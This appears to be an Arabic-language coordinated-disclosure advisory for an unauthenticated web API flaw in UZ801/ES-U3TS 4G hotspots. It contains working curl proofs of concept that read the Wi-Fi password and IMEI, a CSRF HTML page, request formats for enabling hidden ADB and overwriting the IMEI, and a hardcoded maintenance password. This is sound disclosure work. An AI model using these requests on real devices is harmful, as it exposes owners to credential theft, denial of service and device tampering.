
نشرة أمنية تفصّل ثغرة التحكم المكسور في الوصول في واجهة برمجة تطبيقات الويب MifiService الخاصة بأجهزة UZ801/ES-U3TS، مما يسمح باستخراج البيانات دون مصادقة، وتعديل الإعدادات، وإعادة تشغيل الجهاز. تتضمن إثباتات المفاهيم (PoCs) وإجراءات التخفيف.
استشارة أمنية وملاحظات تقنية حول ثغرة التحكم في الوصول المعطوب في واجهة إدارة الويب المدمجة التي يعرضها MifiService.apk على منصة Wi-Fi المحمولة 4G LTE الخاصة بـ OEM / العلامة البيضاء UZ801_v2.1، والتي تُسوَّق أيضًا باسم ES-U3TS.
يهدف هذا المستودع إلى دعم الإفصاح المنسق وتعيين CVE. وهو يركز على أدلة تقنية قابلة لإعادة الإنتاج وغير مسلحة.
يعرض الجهاز المتأثر نقطة نهاية إدارة HTTP قائمة على Jetty على:
http://192.168.100.1/ajax
يتم تنفيذ موزع طلبات الواجهة الخلفية في:
com.mifiservice.server.AjaxSevlet
على الرغم من أن واجهة الويب تعرض صفحة تسجيل دخول، إلا أن الواجهة الخلفية لا تفرض جلسة مصادقة صالحة من جانب الخادم لمعظم وظائف الإدارة. نتيجة لذلك، يمكن لمهاجم على الشبكة المجاورة استدعاء عمليات funcNo الحساسة مباشرة دون مصادقة.
يشمل التأثير المؤكد:
تم تأكيد وظائف إضافية عالية الخطورة من خلال التحليل الثابت، بما في ذلك:
يبدو أن العتاد المختبر ينتمي إلى عائلة أجهزة OEM / العلامة البيضاء. المطور الأصلي الدقيق غير معروف حاليًا، ولم يتم تحديد جهة اتصال أمنية موثوقة من البائع حتى الآن.
لذلك تستخدم هذه الاستشارة التسمية التالية للمنتج:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloإذا تم العثور على علامات تجارية أو موزعين إضافيين يشحنون نفس البرنامج الثابت وAPK وأصول الويب وسلوك funcNo، فيجب التعامل معهم كمتغيرات متأثرة محتملة لنفس قاعدة التعليمات البرمجية.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletهذه ليست في المقام الأول مشكلة بيانات اعتماد افتراضية.
السبب الجذري هو التحكم في الوصول المعطوب في واجهة برمجة التطبيقات الخلفية:
OriginRefererتوجد وظيفة تسجيل الدخول، لكنها لا توفر حدود ترخيص ذات معنى لغالبية واجهة برمجة تطبيقات الإدارة.
ناقل الهجوم الأساسي:
ناقل الهجوم الثانوي:
هذا ليس هجومًا عن بُعد معرضًا للإنترنت افتراضيًا. يجب على المهاجم إما:
192.168.100.1، أوجميع النتائج أدناه مدرجة كوظائف متأثرة لنفس مشكلة التحكم في الوصول المعطوب.
حيثما كان ذلك مناسبًا، يتم تمييز كل عنصر صراحةً على أنه إما:
تم التحقق منه مباشرةمؤكد بالتحليل الثابتيتم الحفاظ على هذا التمييز من أجل الدقة. لا يتم تصنيف الوظائف عالية الخطورة على أنها مختبرة مباشرة عندما لم يتم تنفيذها عمدًا على عتاد عام.
| funcNo | الوصف | الحالة | ملاحظات |
|---|---|---|---|
في وقت كتابة هذا التقرير، يبدو أن الجهاز يُباع عبر قنوات OEM / الموزعين مع علامات تجارية غير متناسقة أو غائبة، ولم يتم إنشاء اتصال موثوق بمطور البائع الأصلي.
الأمثلة أدناه مقصودة عمدًا لتكون قراءة فقط أو تحققًا منخفض التأثير. وهي مدرجة لإظهار الثغرة دون توفير سير عمل استغلال مسلح.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
السلوك المتوقع:
ssidpwd كنص واضحcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
السلوك المتوقع:
imeifwversionقراءة اللغة الحالية:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
تعيين اللغة:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
استعادة القيمة الأصلية بعد ذلك.
لا تفرض نقطة النهاية هذه حالة جلسة أو تحققًا من Origin / Referer. لذلك يمكن إساءة استخدام متصفح ضحية متصل لإرسال طلبات في الخلفية.
صفحة إثبات الحد الأدنى:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
هذا المثال مقصور عمدًا على رقم وظيفة للقراءة فقط. لا تنشره ضد المستخدمين أو أجهزة الإنتاج.
تنسيقات JSON التالية موثقة للتحليل الدفاعي والفرز فقط. لا تكون مصحوبة بخطوات تنفيذ هنا.
2001 - تمكين واجهات التصحيح المخفية{"funcNo":2001}
السلوك الملاحظ في الكود:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - مسار الكتابة فوق IMEI{"funcNo":2004,"imei":"<redacted-test-value>"}
السلوك الملاحظ في الكود:
AT+WRIMEI=<value>لا يتم تضمين أي اختبار مباشر عام هنا بسبب مخاوف قانونية ومتعلقة بالامتثال وسلامة الجهاز.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
هذه المشكلة مرشح قوي لـ CVE لأنها:
التصنيف المقترح:
CWE-306 غياب المصادقة للوظائف الحرجةCWE-862 غياب التفويضCVSS المقترح:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo الحساسة دون مصادقةOrigin و Refererهذا المستودع مخصص للبحث الدفاعي والإفصاح عن الثغرات والتنسيق. الأمثلة العامة مقصورة عمدًا على التحقق منخفض المخاطر. الوظائف عالية الخطورة موثقة فقط بالقدر اللازم للمعالجة وفرز CVE.
| funcNo | الوصف | الحالة | ملاحظات |
|---|
1002 | قراءة SSID وعنوان IP للجهاز وDNS وكلمة مرور Wi-Fi | تم التحقق منه مباشرة | يعيد كلمة مرور Wi-Fi كنص واضح |
1009 | قراءة وضع تشفير Wi-Fi وكلمة المرور | تم التحقق منه مباشرة | يعيد كلمة مرور Wi-Fi كنص واضح |
1011 | قراءة نطاق DHCP وDNS وقائمة العملاء | تم التحقق منه مباشرة | مفيد للاستطلاع المحلي |
1015 | قراءة حالة SIM | تم التحقق منه مباشرة | يعيد حالة SIM |
1029 | قراءة IMEI والبرنامج الثابت والشركة المصنعة ومعلومات الإشارة | تم التحقق منه مباشرة | يعيد هوية الجهاز الحساسة |
1052 | قراءة وضع فلتر MAC والإدخالات المكونة | تم التحقق منه مباشرة | يكشف السياسة والفتحات المكونة |
2002 | قراءة فتحة SIM النشطة | تم التحقق منه مباشرة | يكشف حالة وقت التشغيل |
| funcNo | الوصف | الحالة | ملاحظات |
|---|
1004 | تغيير وضع الاتصال | مؤكد بالتحليل الثابت | لم يُلاحظ فرض جلسة |
1005 | تغيير وضع الشبكة المفضل | مؤكد بالتحليل الثابت | تأثير تشغيلي مرتفع |
1007 | تغيير SSID / الحد الأقصى لعدد المحطات | مؤكد بالتحليل الثابت | يستمر التكوين ويعيد تشغيل منطق نقطة الوصول |
1010 | تغيير وضع تشفير Wi-Fi / كلمة المرور | مؤكد بالتحليل الثابت | تأثير مرتفع على السرية |
1012 | تغيير الإعدادات المتعلقة بـ DHCP/DNS | مؤكد بالتحليل الثابت | عبث بالشبكة المحلية |
1016/1017/1018 | قراءة / تعيين / تبديل ملف تعريف APN | مؤكد بالتحليل الثابت | تعديل سلوك WAN |
1031 | تغيير اللغة واستمرارها | تم التحقق منه مباشرة | يُستخدم كدليل منخفض المخاطر على وصول الكتابة |
1053/1054/1055 | تغيير سلوك فلتر MAC والإدخالات | مؤكد بالتحليل الثابت | عبث بالتحكم في الوصول إلى الشبكة |
| funcNo | الوصف | الحالة | ملاحظات |
|---|
1013 | إعادة تشغيل الجهاز | تم التحقق منه مباشرة | DoS / انقطاع الخدمة |
1014 | إعادة تعيين تكوين التطبيق/الشبكة وإعادة التشغيل | تم التحقق منه مباشرة | ليس مسحًا كاملاً لبيانات مستخدم Android |
2000 | إعادة التشغيل إلى محمل الإقلاع | تم التحقق منه مباشرة | تأثير تشغيلي مرتفع |
2001 | تمكين تكوين ADB/Diag USB المخفي وإعادة التشغيل | مؤكد بالتحليل الثابت | مسار صيانة خطير |
2003| مسار كلمة مرور صيانة مخفي |
| مؤكد بالتحليل الثابت |
يستخدم admin8888 مكتوبًا بشكل ثابت؛ يبدو السلوك جزئيًا / متبقيًا |
2004 | الكتابة فوق IMEI | مؤكد بالتحليل الثابت | يستدعي مسار أمر AT؛ لم يُنفذ علنًا |